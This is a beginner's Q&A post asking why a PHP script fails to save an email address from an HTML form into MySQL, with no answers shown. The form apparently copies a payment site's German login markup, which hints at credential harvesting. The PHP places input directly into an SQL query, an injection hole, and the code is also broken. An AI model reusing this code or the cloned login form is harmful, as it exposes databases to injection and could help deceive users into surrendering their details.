Post Email Input into Mysql Databse failed

By | October 30, 2018
Questions:

I want post the email address from an User to my Mysql Database, but it always failed:

Html code:

 <form action="post.php" method="post>
<input id="email" name="email" type="email" class="hasHelp  validateEmpty   " required="required" value="" autocomplete="off" placeholder="E-Mail-Adresse" aria-describedby="emailErrorMessage">
<button class="button actionContinue scTrack:unifiedlogin-login-submit" type="submit" id="btnLogin" name="btnLogin" value="Login" pa-marked="1">Einloggen</button></div></div><input type="hidden" name="" value=""></form>

PHP:

<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
} 

$sql = "INSERT INTO info (email)
VALUES ('$email')";

if ($conn->query($sql) === TRUE) {
    echo "New record created successfully";
} else {
    echo "Error: " . $sql . "<br>" . $conn->error;
}

$conn->close();
?>

What do i wrong? I am a beginner with Mysql and PHP.

Error in my Script:

connect_error) { die("Connection failed: " . $conn->connect_error); } $sql = "INSERT INTO info (email) VALUES ('$email')"; if ($conn->query($sql) === TRUE) { echo "New record created successfully"; } else { echo "Error: " . $sql . "
" . $conn->error; } $conn->close(); ?>

But without insert i can connect to my DB.

Answers:

Leave a Reply

Your email address will not be published. Required fields are marked *